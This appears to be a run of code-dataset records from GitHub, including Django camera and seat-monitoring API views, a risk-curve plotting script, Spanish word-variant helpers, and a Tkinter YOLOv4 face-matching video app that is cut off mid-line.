camera.description,\n\t\t'floor_id' : camera.floor_id,\n\t}\n\treturn JsonResponse(data, safe=False) \n\ndef get_camera_info_without_floor(request) :\n\tstore_id = int(request.GET['store_id'])\n\tcamera_floor_list = Camera.objects.filter(store_id= store_id, floor_id__isnull= True)\n\tcamera = camera_floor_list.first()\n\n\tdata = serializers.serialize(\"json\",camera_floor_list,fields=('id','cur_pic','description','mac_addr','cur_host','store_id','floor_id'))\n\t\n\treturn HttpResponse(data)\n\ndef delete_camera_list(request) :\n\n\tstore_id = int(request.GET['store_id'])\n\tpk = int(request.GET['pk'])\n\n\tcamera = Camera.objects.filter(pk=pk, store_id= store_id)\n\tcamera.delete()\n\n\t\n\treturn HttpResponse('delete success') #수정 필요 -> 2020-08-25 수정완료\n\ndef check_camera_connection(request) :\n\tcur_host = request.POST.get('cur_host')\n\n\ttry :\n\t\trq = requests.get(cur_host+'/test',timeout=5)\n\t\tif rq.text != 'ok' :\n\t\t\treturn HttpResponse('bad')\n\texcept Exception as e :\n\t\treturn HttpResponse('bad')\n\n\treturn HttpResponse ('good')\n\n\n\n\ndef check_camera_connection_row(request) :\n\tcur_host = request.POST.get('cur_host')\n\tpk = int(request.POST['pk'])\n\n\ttry :\n\t\trq = requests.get(cur_host+'/test',timeout=5)\n\t\tif rq.text != 'ok' :\n\t\t\tdata = {\n\t\t\t\t'pk' : pk,\n\t\t\t\t'con' : \"bad\",\n\t\t\t}\n\t\telse:\n\t\t\tdata = {\n\t\t\t\t'pk' : pk,\n\t\t\t\t'con' : 'good'\n\t\t\t}\n\t\treturn JsonResponse(data)\n\texcept Exception as e :\n\t\tdata = {\n\t\t\t'pk' :pk,\n\t\t\t'con' : \"bad\",\n\t\t}\n\t\treturn JsonResponse(data)\n\n\n#층 정보 관련\ndef add_floor_info(request) :\n\n\tstore_id = int(request.GET['store_id'])\n\tfloor_num = int(request.GET['floor_num'])\n\tfloor_name = request.GET['floor_name']\n\tdescription = request.GET['description']\n\tcamera_list = request.GET.getlist('camera_list[]')\n\n\n\tfloor=Floor(store_id=store_id, floor_num=floor_num, name=floor_name,description=description)\n\tfloor.save()\n\n\tfor c_list in camera_list :\n\t\tcamera = Camera.objects.filter(pk=int(c_list))\n\t\tcamera.update(floor_id=floor.pk)\n\n\tdata = {\n\t\t'pk' : floor.pk,\n\t\t'floor_num' : floor_num,\n\t\t'name' : floor.name,\n\t\t'description' : floor.description,\n\t}\n\treturn JsonResponse(data)\n\n\ndef edit_floor_id(request) :\n\n\tcamera_list = request.POST.getlist('camera_list[]')\n\tstore_id = int(request.POST.get('store_id'))\n\tfloor_id = int(request.POST.get('floor_id'))\n\n\tfor c_list in camera_list :\n\t\tcamera = Camera.objects.filter(pk=int(c_list))\n\t\tcamera.update(floor_id=floor_id)\n\n\tcameras = Camera.objects.filter(store_id=store_id)\n\tserialized_cameras = CameraSerializer(cameras,many=True)\n\n\treturn HttpResponse(json.dumps(serialized_cameras.data))\n\ndef delete_floor_info(request) :\n\n\tfloor_id = int(request.GET['floor_id'])\n\tstore_id = int(request.GET['store_id'])\n\n\tfloor = Floor.objects.filter(pk=floor_id)\n\tfloor.delete()\n\n\tcameras = Camera.objects.filter(store_id=store_id)\n\tserialized_cameras = CameraSerializer(cameras,many=True)\n\n\treturn HttpResponse(json.dumps(serialized_cameras.data))\n\ndef edit_floor_camera_list(request) :\n\n\tcamera_used_list = request.GET.getlist('camera_used[]')\n\tcamera_unused_list = request.GET.getlist('camera_unused[]')\n\tstore_id = int(request.GET['store_id'])\n\tfloor_id = int(request.GET['floor_id'])\n\tname = request.GET['floor_name']\n\tfloor_num = int(request.GET['floor_num'])\n\tdescription = request.GET['floor_description']\n\n\tfloor = Floor.objects.filter(pk=floor_id)\n\tfloor.update(name=name,floor_num=floor_num,description=description)\n\n\tfor lists in camera_used_list :\n\t\tcamera = Camera.objects.filter(pk=int(lists))\n\t\tcamera.update(floor_id=floor_id)\n\n\tfor lists in camera_unused_list :\n\t\tcamera = Camera.objects.filter(pk=int(lists))\n\t\tcamera.update(floor_id=None)\n\n\tcameras = Camera.objects.filter(store_id=store_id)\n\n\tserialized_cameras = CameraSerializer(cameras,many=True)\n\treturn HttpResponse(json.dumps(serialized_cameras.data)) \n\n\n\ndef get_file_from_cam(request):\n\t\"\"\"\n\tTodo : 카메라 pk, 가게 pk -> 카메라에 cur_pic 이름 저장\n\t\"\"\"\n\tcur_time = timezone.now().strftime(\"%Y%m%d%H%M%S\")\n\tcamera_pk = request.POST['camera_pk']\n\tcur_host = request.POST['host_addr']\n\ttarget_addr = '/'.join([cur_host, 'send_image'])\n\tcur_pic_name = cur_time+str(camera_pk)\n\tresponse = requests.get(target_addr, stream=True)\n\tif response.status_code == 200:\n\t\twith open('watcher/static/img/'+cur_pic_name+'.jpg', 'wb') as f:\n\t\t\tfor chunk in response:\n\t\t\t\tf.write(chunk)\n\t\n\treturn JsonResponse({\n\t\t'path' : '/static/img/'+ cur_pic_name + '.jpg',\n\t\t'pic_name' : cur_pic_name + '.jpg'\n\t})\n\n\ndef save_layout(request):\n\tlayout_pos_data = json.loads(request.POST['layout_pos_data'])\n\tbefore_pk_list = json.loads(request.POST['before_pk_list'])\n\tfloor_pk = int(request.POST['floor_pk'])\n\tfloor = Floor.objects.get(pk=floor_pk)\n\tcur_pk_list = []\n\tfor datum in layout_pos_data:\n\t\tsave_datum = {\n\t\t\t'floor':floor,\n\t\t\t'layout_f_x':datum['f_x'],\n\t\t\t'layout_f_y':datum['f_y'],\n\t\t\t'layout_s_x':datum['s_x'],\n\t\t\t'layout_s_y':datum['s_y']\n\t\t}\n\t\tTable.objects.filter(pk=int(datum['pk'])).update(**save_datum)\n\t\tcur_pk_list.append(datum['pk'])\n\n\t\n\tfor before_pk in before_pk_list:\n\n\t\tif before_pk not in cur_pk_list:\n\t\t\tsave_datum = {\n\t\t\t\t'floor':None,\n\t\t\t\t'layout_f_x':None,\n\t\t\t\t'layout_f_y':None,\n\t\t\t\t'layout_s_x':None,\n\t\t\t\t'layout_s_y':None\n\t\t\t}\n\t\t\tTable.objects.filter(pk=before_pk).update(**save_datum)\n\n\treturn HttpResponse('good')\n\n@csrf_exempt\ndef get_seat_inspection_result(request):\n\tinspection_result = json.loads(request.POST['input'])\n\tfor e in inspection_result:\n\t\tis_occupied = None\n\t\tif e['res'] == 'T':\n\t\t\tis_occupied = True\n\t\telse:\n\t\t\tis_occupied = False\n\t\tTable.objects.filter(pk=e['pk']).update(is_occupied=is_occupied)\n\n\treturn HttpResponse('good')\n\ndef localize_objects(request):\n\tpic_name = request.POST['pic_name']\n\tclient = vision.ImageAnnotatorClient()\n\tpath = 'watcher/static/img/'+pic_name\n\n\twith open(path, 'rb') as image_file:\n\t\tcontent = image_file.read()\n\timage = vision.types.Image(content=content)\n \n\tobjects = client.object_localization(image=image).localized_object_annotations\n\n\toutput_data = []\n\n\ttarget_data = ['Table', 'Tableware']\n\n\tfor object_ in objects:\n\t\tif object_.name in target_data:\n\t\t\tvertex_list = object_.bounding_poly.normalized_vertices\n\t\t\tdata = {\n\t\t\t\t'x' : vertex_list[0].x,\n\t\t\t\t'y' : vertex_list[0].y,\n\t\t\t\t'width' : abs(vertex_list[0].x - vertex_list[1].x),\n\t\t\t\t'height' : abs(vertex_list[0].y - vertex_list[3].y)\n\t\t\t}\n\t\t\toutput_data.append(data)\n\t\n\treturn HttpResponse(json.dumps(output_data))\n\ndef update_cam_addr(request):\n\tcamera_pk = int(request.POST['camera_pk'])\n\tcamera = Camera.objects.get(pk=camera_pk)\n\tcamera_mac_addr = camera.mac_addr\n\n\tif bool(camera_mac_addr) == False:\n\t\treturn HttpResponse('camera_mac_addr_failure')\n\n\tdeveloperkey = settings.REMOTE_IT_DEVELOPER_KEY\n\n\theaders = {\n\t\t'developerkey' : developerkey\n\t}\n\n\tbody = {\n\t\t'password' : settings.REMOTE_IT_PASSWORD,\n\t\t'username' : settings.REMOTE_IT_USERNAME\n\t}\n\n\turl = 'https://api.remot3.it/apv/v27/user/login'\n\n\tresponse = requests.post(url, data=json.dumps(body), headers=headers)\n\tresponse_body = response.json()\n\n\tif response_body['status'] == 'false':\n\t\treturn HttpResponse('connection_failure')\n\n\ttoken = response_body['token']\n\n\theaders = {\n \t\"developerkey\":developerkey,\n\t \"token\":token\n\t}\n\n\tbody = {\n \t\"deviceaddress\": camera_mac_addr,\n \t\"wait\":\"true\",\n\t}\n\n\turl = \"https://api.remot3.it/apv/v27/device/connect\"\n\n\tresponse = requests.post(url, data=json.dumps(body), headers=headers)\n\tresponse_body = response.json()\n\n\tif response_body['status'] == 'false':\n\t\treturn HttpResponse('addr_update_failure')\n\t\n\tcamera.cur_host = response_body['connection']['proxy']\n\tcamera.save()\n\n\treturn HttpResponse('update_success')\n\ndef add_category_info(request) :\n\tstore_id=request.GET.get('store_id')\n\tname=request.GET.get('category_name')\n\n\tcategory=Category(store_id=store_id,name=name)\n\tcategory.save();\n\n\treturn HttpResponse(\"good\")\n\ndef add_store_menu_info(request) :\n\tprice=request.GET.get('price')\n\tname=request.GET.get('name')\n\tcategory_id=request.GET.get('category_id')\n\tcategory_name=request.GET.get('category_name')\n\tstore_id=request.GET.get('store_id')\n\n\tmenu=Menu(name=name,store_id=store_id,price=price,category_id=category_id,category_name=category_name)\n\tmenu.save()\n\n\treturn HttpResponse(\"good\")\n\ndef edit_store_menu_info(request) :\n\tpk=request.GET.get('pk')\n\tprice=request.GET.get('price')\n\tname=request.GET.get('name')\n\tcategory_id=request.GET.get('category_id')\n\tcategory=Category.objects.get(pk=category_id)\n\n\tprint(name)\n\tprint(category_id)\n\tmenu=Menu.objects.get(pk=pk)\n\tmenu.price=price\n\tmenu.name=name\n\tmenu.category_id=category_id\n\tmenu.category_name=category.name\n\tmenu.save()\n\treturn HttpResponse(\"good\")\n\ndef delete_store_menu_info(request) :\n\tpk=int(request.GET.get('pk'))\n\tmenu=Menu.objects.get(pk=pk)\n\tmenu.delete()\n\n\treturn HttpResponse(\"good\")\n\n","repo_name":"YoonRyeol/SEAT_WATCHER","sub_path":"watcher/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":15244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"32052148426","text":"import Atrium_class as AC\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pickle\nimport scipy.stats as sp\nresults1 = pickle.load(open(\"risk_curve_0.02-0.1.p\",\"rb\"))\nresults2 = pickle.load(open(\"risk_curve_0.11-0.15.p\",\"rb\"))\nresults3 = pickle.load(open(\"risk_curve_0.16-0.20.p\",\"rb\"))\nresults4 = pickle.load(open(\"risk_curve_0.21-0.25.p\",\"rb\"))\nresults5 = pickle.load(open(\"risk_curve_0.26-0.30.p\",\"rb\"))\nresults6 = pickle.load(open(\"risk_curve_0.16.p\",\"rb\"))\nresults7 = pickle.load(open(\"risk_curve_0.17.p\",\"rb\"))\nresults8 = pickle.load(open(\"risk_curve_0.18.p\",\"rb\"))\nresults9 = pickle.load(open( \"risk_curve_0.16-0.19.p\", \"rb\" ) )\nK_results = pickle.load(open(\"Kishan_data_risk_curve.p\",\"rb\"))\nL = 200\ndelta = 0.05\ntau = 50\nnus = np.array([0.02, 0.04, 0.06, 0.08, 0.1, 0.11, 0.12, 0.13, 0.14, 0.15, 0.16, 0.17, 0.18, 0.19, 0.2, 0.21, 0.22, 0.23, 0.24, 0.25, 0.26, 0.27, 0.28, 0.29, 0.3,0.5,1])\nT_risk = (1 - ((1-(1-nus)**tau)**(delta*L*L)))\nresults_nu = np.concatenate((results1[0],results2[0],results9[0],results3[0][-1:],results4[0],results5[0]))\nresults_risk = np.concatenate((results1[1],results2[1],results9[1],results3[1][-1:],results4[1],results5[1]))\nresults_repeats = np.concatenate((results1[2],results2[2],results9[2],results3[2][-1:],results4[2],results5[2]))\nplt.scatter(results_nu,results_risk,c='r',marker = 'x', label = \"My Data\")\nplt.scatter(K_results[0],K_results[1],c='b',marker = 'x', label = \"Kishan's Data\" )\nplt.plot(nus,T_risk, 'g', label = 'Theoretical Data')\nplt.show()\nprint(results_repeats)\ndata = [results_nu,results_risk,results_repeats]\npickle.dump(data,open( \"Risk_Curve_keep.p\", \"wb\" ) )\n","repo_name":"GwynethMatthews/AF-Work","sub_path":"OldCode/Code2/Trial1.py","file_name":"Trial1.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"27883850946","text":"def mas_s(pal):\n\tif pal[len(pal) - 1] in ['a','e','o']:\n\t\treturn True\n\treturn False\n\ndef chxx(pal):\n\t\n\tsplited = pal.split(\"ch\")\n\t\n\taux = []\n\taux2 = [splited[0]]\n\t\n\tfor frag in splited[1:]:\n\t\t\n\t\taux = []\n\t\tfor s in aux2:\n\t\t\taux.append(s + 'x' + frag)\n\t\t\taux.append(s + 'ch' + frag)\n\t\t\n\t\taux2 = []\n\t\tfor s in aux:\n\t\t\taux2.append(s)\n\t\n\treturn aux\n\ndef reducir_silabas(pal):\n\tsplited = pal.split(\"a\")\n\tnew_pal = splited[0]\n\tfor frag in splited[1:]:\n\t\tif frag == \"\":\n\t\t\tnew_pal += 'a' + frag\n\t\n\tfor silaba in ['e','i','o','u']:\n\t\tsplited = new_pal.split(silaba)\n\t\tnew_pal = splited[0]\n\t\tfor frag in splited[1:]:\n\t\t\tif frag != \"\":\n\t\t\t\tnew_pal += silaba + frag\n\t\n\treturn new_pal","repo_name":"sapphi20/Analizador-de-garabatos-Twitter","sub_path":"funciones_auxiliares/generadores_de_variaciones.py","file_name":"generadores_de_variaciones.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"29369061732","text":"import os\nfrom turtle import pendown\nimport cv2\nimport tkinter as tk\nfrom tkinter import messagebox\nfrom tkinter.filedialog import askopenfilename\n\nfrom importlib.resources import path\nimport numpy as np\nfrom glob import glob\nimport shutil\n\nfrom PIL import ImageTk, Image\nfrom PIL import ImageGrab\nfrom PIL import Image\n\nimport time\nfrom time import gmtime, strftime\nfrom datetime import datetime\nimport tensorflow as tf\n\n# comment out below line to enable tensorflow outputs\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n\nphysical_devices = tf.config.experimental.list_physical_devices('GPU')\n\nif len(physical_devices) > 0:\n tf.config.experimental.set_memory_growth(physical_devices[0], True)\n\nfrom absl import app, flags, logging\nfrom absl.flags import FLAGS\nimport core.utils as utils\nfrom core.yolov4 import filter_boxes\nfrom core.functions import *\nfrom tensorflow.python.saved_model import tag_constants\nfrom tensorflow.compat.v1 import ConfigProto\nfrom tensorflow.compat.v1 import InteractiveSession\n\n\nimport face_recognition\nimport csv\n\n\nflags.DEFINE_string('framework', 'tf', '(tf, tflite, trt')\nflags.DEFINE_string('weights', './checkpoints/yolov4-416',\n 'path to weights file')\nflags.DEFINE_integer('size', 416, 'resize images to')\nflags.DEFINE_boolean('tiny', False, 'yolo or yolo-tiny')\nflags.DEFINE_string('model', 'yolov4', 'yolov3 or yolov4')\nflags.DEFINE_string('video', './data/video/video.mp4', 'path to input video or set to 0 for webcam')\nflags.DEFINE_string('output', None, 'path to output video')\nflags.DEFINE_string('output_format', 'XVID', 'codec used in VideoWriter when saving video to file')\nflags.DEFINE_float('iou', 0.70, 'iou threshold')\nflags.DEFINE_float('score', 0.70, 'score threshold')\nflags.DEFINE_boolean('count', False, 'count objects within video')\nflags.DEFINE_boolean('dont_show', False, 'dont show video output')\nflags.DEFINE_boolean('info', False, 'print info on detections')\nflags.DEFINE_boolean('crop', False, 'crop detections from images')\nflags.DEFINE_boolean('plate', False, 'perform license plate recognition')\nflags.DEFINE_boolean('person', False, 'perform person detection')\nflags.DEFINE_boolean('frames', False, 'get the frames with persons')\nflags.DEFINE_boolean('identify', False, 'Identify the target person')\n\n\npath = os.getcwd()\nd = 'People'\nfiles = os.path.join(path, d)\nisdir = os.path.isdir(files)\nif not isdir:\n os.mkdir(files)\n\n\n\nclass Application(tk.Frame):\n\n def __init__(self, master=None):\n super().__init__(master)\n\n self.pack()\n self.create_front()\n\n\n def create_front(self):\n\n def gui_destroy():\n root.destroy()\n\n self.uname_label = tk.Label(root, text=\"In-Video Person Detection System\", font=('calibre',14,'bold'), bg='medium aquamarine')\n self.uname_label.place(x=110, y=40)\n\n self.go_upload = tk.Button(\n root, text=\"Upload Image of Person\", font=('calibre',12,'bold'), bg='skyblue2', command=self.create_upload)\n self.go_upload.place(x=160, y=100)\n\n\n self.go_verify = tk.Button(\n root, text=\"Detect Person in Video\", font=('calibre',12,'bold'), bg='gold2', command=self.create_verify)\n self.go_verify.place(x=170, y=160)\n\n\n quit = tk.Button(root, text=\"Exit\", font=('calibre',12,'bold'), bg = \"tomato\", width=5, command=root.destroy)\n quit.place(x=220, y=220)\n\n\n def create_upload(self):\n\n def image_save(window, path0, path1):\n xx = self.name_entry.get()\n print(\"\\n User name is : \" + xx + \"\\n\")\n\n sign_list = [path1]\n\n if path0=='':\n messagebox.showerror(\"Warning!\", \"Username can not be empty!\")\n\n else:\n ff = 0\n for ee in sign_list:\n file_exists = os.path.exists(ee)\n\n if not file_exists:\n messagebox.showerror(\"Warning!\",\n \"You must upload all 5 signatures!\")\n break\n else:\n ff += 1\n\n if ff==1:\n cc = 0\n for i in sign_list:\n file = i\n cc += 1\n s_file = 'People/' + xx + '.jpg'\n print(\"\\n\", file, \"\\n\")\n image = cv2.imread(file)\n\n cv2.imwrite(s_file, image)\n\n # cv2.imshow(str(cc), image)\n # cv2.waitKey(0)\n\n # cv2.destroyAllWindows()\n\n dataset = tk.Label(root_u, text=\"Display Uploaded Image\", font=('calibre',12,'bold'))\n dataset.place(x=130, y=460)\n \n s_file1 = './People/' + path0 + '.jpg'\n img1 = Image.open(s_file1)\n img1 = img1.resize((80, 80), Image.ANTIALIAS)\n img1 = ImageTk.PhotoImage(img1)\n panel1 = tk.Label(root_u, image=img1)\n panel1.place(x=20, y=500)\n\n messagebox.showinfo(\"Success!\",\n \"Image Uploaded!!\")\n \n dataset.destroy()\n\n def check_data():\n xx = self.name_entry.get()\n print(\"\\n User name is : \" + xx + \"\\n\")\n\n file = 'People/' + xx + '.jpg'\n # print(\"\\n\", file, \"\\n\")\n file_exists = os.path.exists(file)\n\n if not file_exists:\n messagebox.showwarning(\"Checked!\",\n \"User doesn't exist! Please Continue Uploading for Registration!\")\n else:\n messagebox.showinfo(\"Checked!\",\n \"User exists! You can exit to Verify or Continue Upload and Update!\")\n\n def browsefunc(ent):\n filename = askopenfilename(filetypes=([\n (\"image\", \".jpeg\"),\n (\"image\", \".png\"),\n (\"image\", \".jpg\"),\n ]))\n ent.delete(0, tk.END)\n ent.insert(tk.END, filename) # add this\n\n def gui_destroy():\n root_u.destroy()\n\n\n root_u = tk.Toplevel(self)\n root_u.title('Image Upload')\n root_u.geometry('500x350+650+50')\n\n self.uname_label = tk.Label(root_u, text=\"Upload Person Image\", font=('calibre',14,'bold'), bg='skyblue2')\n self.uname_label.place(x=135, y=25)\n\n # creating a label for name using widget Label\n self.name_label = tk.Label(root_u, text = 'Person Name:', font=('calibre',10,'bold'))\n self.name_label.place(x=60, y=90)\n\n # creating a entry for input name using widget Entry\n self.name_entry = tk.Entry(root_u, bd=3, font=('calibre',10,'normal'))\n self.name_entry.place(x=170, y=90)\n\n # creating a button using the widget button that will call the submit function\n sub_btn = tk.Button(root_u, text = 'Check Data', font=('calibre',10,'normal'), command = check_data)\n sub_btn.place(x=350, y=88)\n\n\n # Image 1\n self.img_message = tk.Label(root_u, text=\"Image:\", font=('calibre',10,'bold'))\n self.img_message.place(x=60, y=140)\n # Image Submit\n self.image_path_entry1 = tk.Entry(root_u, bd=3, font=('calibre',10,'normal'))\n self.image_path_entry1.place(x=170, y=140)\n # Browse Button\n self.img_browse_button = tk.Button(\n root_u, text=\"Browse\", font=('calibre',10,'normal'), command=lambda: browsefunc(ent=self.image_path_entry1))\n self.img_browse_button.place(x=350, y=138)\n\n\n # registered Button\n self.register_button = tk.Button(\n root_u, text=\"Register\", font=('calibre',12,'bold'), bg='gold2', command=lambda: image_save(window=root_u,\n path0=self.name_entry.get(),\n path1=self.image_path_entry1.get(),), width=8)\n self.register_button.place(x=198, y=200)\n\n\n # Exit Button\n go_exit = tk.Button(\n root_u, text=\"Exit\", font=('calibre',12,'bold'), bg='tomato', command=lambda: gui_destroy(), width=5)\n go_exit.place(x=214, y=250)\n\n root_u.mainloop()\n\n\n def create_verify(self):\n # Mach Threshold\n THRESHOLD = 50\n\n root_v=tk.Toplevel(self)\n root_v.title(\"Person Detection\")\n\n # setting the windows size\n root_v.geometry(\"500x500+650+50\")\n\n\n # defining a function that will get the name and password and print them on the screen\n def view_data():\n name = self.name_entry.get()\n \n print(\"\\n The name is : \" + name + \"\\n\")\n\n for i in range(1):\n file = 'People/' + name + '.jpg'\n print(\"\\n\", file, \"\\n\")\n image = cv2.imread(file)\n\n image = cv2.resize(image, (300, 300))\n\n cv2.imshow(str(i+1), image)\n cv2.waitKey(0)\n\n cv2.destroyAllWindows()\n\n\n def check_data():\n name = self.name_entry.get()\n print(\"\\n Person name is : \" + name + \"\\n\")\n\n file = 'People/' + name + '.jpg'\n # print(\"\\n\", file, \"\\n\")\n file_exists = os.path.exists(file)\n\n if not file_exists:\n messagebox.showerror(\"Warning!\",\n \"User doesn't exist! Please Enter Correct Username!\")\n else:\n messagebox.showinfo(\"Checked!\",\n \"User exists! Please Continue Upload to Verify!\")\n\n\n def browsefunc(ent):\n filename = askopenfilename(filetypes=([\n (\"video\", \".mp4\"),\n (\"video\", \".avi\"),\n (\"video\", \".mkv\"),\n ]))\n ent.delete(0, tk.END)\n ent.insert(tk.END, filename) # add this\n\n\n def checkSimilarity(window, path0, path1):\n\n pending = tk.Label(root_v, text=\"Video Processing ...\", font=('calibre',12,'bold'))\n pending.place(x=140, y=300)\n\n if path0=='' or path1=='':\n messagebox.showerror(\"Warning!\", \"Username or Uploaded Image can not be empty while varifying!\")\n\n else:\n ch_file = './People/' + path0 + '.jpg'\n file_exists = os.path.exists(ch_file)\n\n if not file_exists:\n messagebox.showerror(\"Warning!\", \"User does not exist in Database! Please enter Username correctly for verifying! Or, Exit and Go to User Registration\")\n\n else:\n\n def main(_argv):\n\n yy = strftime(\"%d-%b-%Y_%H-%M\", gmtime())\n # print(yy)\n\n # Source Images\n images = []\n classNames = []\n\n\n path = 'People'\n name = path0\n cl = name + \".jpg\"\n curImg = cv2.imread(f'{path}/{cl}')\n images.append(curImg)\n classNames.append(os.path.splitext(cl)[0])\n\n # Face Encodings\n def findEncodings(images):\n encodeList = []\n for img in images:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n encode = face_recognition.face_encodings(img)[0]\n encodeList.append(encode)\n return encodeList\n\n encodeListKnown = findEncodings(images)\n # print('Encoding Complete')\n # print(\"Number of Records: \",len(encodeListKnown))\n\n\n ###############################################################\n\n FLAGS.weights = './checkpoints/yolov4-416'\n FLAGS.model = 'yolov4'\n FLAGS.size = 416\n\n\n # For only video\n FLAGS.video = path1\n FLAGS.output = \"./detections/video_output.mp4\"\n\n # FLAGS.person = True\n FLAGS.crop = True\n FLAGS.frames = True\n FLAGS.identify = True\n\n person_count = 0\n\n config = ConfigProto()\n config.gpu_options.allow_growth = True\n session = InteractiveSession(config=config)\n STRIDES, ANCHORS, NUM_CLASS, XYSCALE = utils.load_config(FLAGS)\n input_size = FLAGS.size\n video_path = FLAGS.video\n # get video name by using split method\n video_name = video_path.split('/')[-1]\n video_name = video_name.split('.')[0]\n\n\n if FLAGS.framework == 'tflite':\n interpreter = tf.lite.Interpreter(model_path=FLAGS.weights)\n interpreter.allocate_tensors()\n input_details = interpreter.get_input_details()\n output_details = interpreter.get_output_details()\n print(input_details)\n print(output_details)\n else:\n saved_model_loaded = tf.saved_model.load(FLAGS.weights, tags=[tag_constants.SERVING])\n infer = saved_model_loaded.signatures['serving_default']\n\n # begin video capture\n try:\n vid = cv2.VideoCapture(int(video_path))\n except:\n vid = cv2.VideoCapture(video_path)\n\n out = None\n\n\n if FLAGS.output:\n # by default VideoCapture returns float instead of int\n width = int(vid.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(vid.get(cv2.CAP_PROP_FRAME_HEIGHT))\n fps = int(vid.get(cv2.CAP_PROP_FPS))\n vid_fps = fps\n # print(vid_fps)\n codec = cv2.VideoWriter_fourcc(*FLAGS.output_format)\n out = cv2.VideoWriter(FLAGS.output, codec, fps, (width, height))\n\n ##############################################################################\n # Main Loop Starts\n frame_num = -1\n\n while True:\n return_value, frame = vid.read()\n if return_value:\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame_num += 1\n image = Image.fromarray(frame)\n\n else:\n print('\\n--- Video has ended or failed. Check the output or try a different video format! ---')\n break\n \n frame_size = frame.shape[:2]\n image_data = cv2.resize(frame, (input_size, input_size))\n image_data = image_data / 255.\n image_data = image_data[np.newaxis, ...].astype(np.float32)\n start_time = time.time()\n\n if FLAGS.framework == 'tflite':\n interpreter.set_tensor(input_details[0]['index'], image_data)\n interpreter.invoke()\n pred = [interpreter.get_tensor(output_details[i]['index']) for i in range(len(output_details))]\n if FLAGS.model == 'yolov3' and FLAGS.tiny == True:\n boxes, pred_conf = filter_boxes(pred[1], pred[0], score_threshold=0.25,\n input_shape=tf.constant([input_size, input_size]))\n else:\n boxes, pred_conf = filter_boxes(pred[0], pred[1], score_threshold=0.25,\n input_shape=tf.constant([input_size, input_size]))\n else:\n batch_data = tf.constant(image_data)\n pred_bbox = infer(batch_data)\n for key, value in pred_bbox.items():\n boxes = value[:, :, 0:4]\n pred_conf = value[:, :, 4:]\n\n boxes, scores, classes, valid_detections = tf.image.combined_non_max_suppression(\n boxes=tf.reshape(boxes, (tf.shape(boxes)[0], -1, 1, 4)),\n scores=tf.reshape(\n pred_conf, (tf.shape(pred_conf)[0], -1, tf.shape(pred_conf)[-1])),\n max_output_size_per_class=50,\n max_total_size=50,\n iou_threshold=FLAGS.iou,\n score_threshold=FLAGS.score\n )\n \n # format bounding boxes from normalized ymin, xmin, ymax, xmax ---> xmin, ymin, xmax, ymax\n original_h, original_w, _ = frame.shape\n bboxes = utils.format_boxes(boxes.numpy()[0], original_h, original_w)\n\n pred_bbox = [bboxes, scores.numpy()[0], classes.numpy()[0], valid_detections.numpy()[0]]\n\n # read in all class names from config\n class_names = utils.read_class_names(cfg.YOLO.CLASSES)\n\n # by default allow all classes in .names file\n allowed_classes = list(class_names.values())\n \n # custom allowed classes (uncomment line below to allow detections for only people)\n allowed_classes = ['person']\n\n\n # if crop flag is enabled, crop each detection and save it as new image\n if FLAGS.crop:\n crop_rate = int(vid_fps/2) # capture images every so many frames (ex. crop photos every 150 frames)\n crop_path = os.path.join(os.getcwd(), 'detections', 'crop_' + yy)\n try:\n os.mkdir(crop_path)\n except FileExistsError:\n pass\n if frame_num % crop_rate == 0:\n final_path = os.path.join(crop_path, 'frame_' + str(frame_num))\n try:\n os.mkdir(final_path)\n except FileExistsError:\n pass \n crop_objects(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB), pred_bbox, final_path, allowed_classes)\n else:\n pass\n\n\n if FLAGS.frames:\n for file in glob(\"./detections/crop_\" + yy + \"/*/\", recursive = True):\n # Get the file names\n ff = os.path.normpath(file)\n xx = os.path.basename(ff)\n\n # Get all the images in the folders\n for i in os.listdir(file):\n # print(i)\n ii = './detections/crop_' + yy + '/' + xx + '/' + i\n image_i = cv2.imread(ii)\n cv2.imwrite('./detections/crop_' + yy + '/' + xx + '_' + i, image_i)\n shutil.rmtree(file)\n\n\n if FLAGS.identify:\n file = \"./detections/crop_\" + yy + \"/\"\n\n for i in os.listdir(file):\n img_name = i.split('.')[0]\n # print(img_name)\n try:\n frame_i = cv2.imread(\"./detections/crop_\" + yy + \"/\" + i)\n frame_i = cv2.cvtColor(frame_i, cv2.COLOR_BGR2RGB)\n facesCurFrame = face_recognition.face_locations(frame_i)\n encodesCurFrame = face_recognition.face_encodings(frame_i, facesCurFrame)\n\n person_path = os.path.join(os.getcwd(), 'detections', 'person_' + yy)\n isdir = os.path.isdir(person_path)\n if not isdir:\n os.mkdir(person_path)\n\n for encodeFace,faceLoc in zip(encodesCurFrame, facesCurFrame):\n matches = face_recognition.compare_faces(encodeListKnown, encodeFace)\n faceDis = face_recognition.face_distance(encodeListKnown, encodeFace)\n # print(faceDis)\n matchIndex = np.argmin(faceDis)\n\n if matches[matchIndex]:\n name = classNames[matchIndex].upper()\n # print(name, 'is present in the video.\\n')\n\n y1,x2,y2,x1 = faceLoc\n # y1, x2, y2, x1 = y1*4,x2*4,y2*4,x1*4\n cv2.rectangle(frame_i,(x1,y1),(x2,y2),(0,255,0),1)\n cv2.rectangle(frame_i,(x1-30,y2+20),(x2+30,y2),(0,255,0),cv2.FILLED)\n cv2.putText(frame_i, name, (x1-28,y2+18), cv2.FONT_HERSHEY_COMPLEX,0.7,(255,255,255),2)\n \n frame_i = cv2.cvtColor(frame_i, cv2.COLOR_BGR2RGB)\n cv2.imwrite(person_path + '/' + img_name + '_' + name + '.jpg', frame_i)\n\n person_count += 1\n\n except:\n pass\n\n if FLAGS.count:\n # count objects found\n counted_classes = count_objects(pred_bbox, by_class = True, allowed_classes=allowed_classes)\n # loop through dict and print\n for key, value in counted_classes.items():\n pass\n # print(\"Number of {}s: {}\".format(key, value))\n image = utils.draw_bbox(frame, pred_bbox, FLAGS.info, counted_classes, allowed_classes=allowed_classes, read_plate=FLAGS.plate)\n else:\n image = utils.draw_bbox(frame, 